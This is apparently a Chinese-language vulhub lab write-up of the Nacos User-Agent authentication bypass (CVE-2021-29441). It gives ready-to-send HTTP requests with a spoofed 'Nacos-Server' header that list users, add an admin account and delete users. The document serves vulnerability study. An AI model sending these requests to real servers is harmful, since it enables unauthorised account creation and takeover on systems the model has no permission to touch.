漏洞原理:
Alibaba Nacos是阿里巴巴的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。
该漏洞是Nacos在进行认证授权操作时,会先判断user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。利用这个未授权漏洞,攻击者可以未授权获取到用户名密码,添加用户,并且删除用户等敏感信息。威胁程度较高。
影响版本:
Alibaba Nacos <= 2.0.0-ALPHA.1
过程
进入vulhub靶场
cd /vulhub-master/nacos/CVE-2021-29441 进入靶场所在目录
docker-compose up -d 开启docker环境
外网查看用户账号信息
访问http://ip:端口号/nacos/v1/auth/users/?pageNo=1&pageSize=10
添加任意用户
访问http://ip:端口号/nacos/v1/auth/users,抓取数据包,将GET请求在burpsuite中改成POST请求,将User-Agent改为Nacos-Server 添加表单username=用户名&password=用户密码。
或者直接自己构造数据包:
POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.204.138:8848
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
username=admin&password=admin
这里添加admin用户,发送数据包,响应包返回200,说明添加用户成功。
尝试登录,登录成功。
删除任意用户
访问http://ip:端口号/nacos/v1/auth/users?username=用户名,抓取数据包,将GET请求改成DELETE请求,将User-Agent改为Nacos-Server。
或者自己构造数据包:
DELETE /nacos/v1/auth/users?username=test HTTP/1.1
Host: 192.168.204.138:8848
Upgrade-Insecure-Requests: 1
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
这里删除test用户,发送数据包返回200,说明删除用户成功。
免责声明:
本账号所分享内容仅用于个人的学习与笔记归档,禁止用于违法途径,本账号及作者不承担相应的后果!由于传播、利用本账号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本账号及作者不为此承担任何责任,一旦造成后果请自行承担!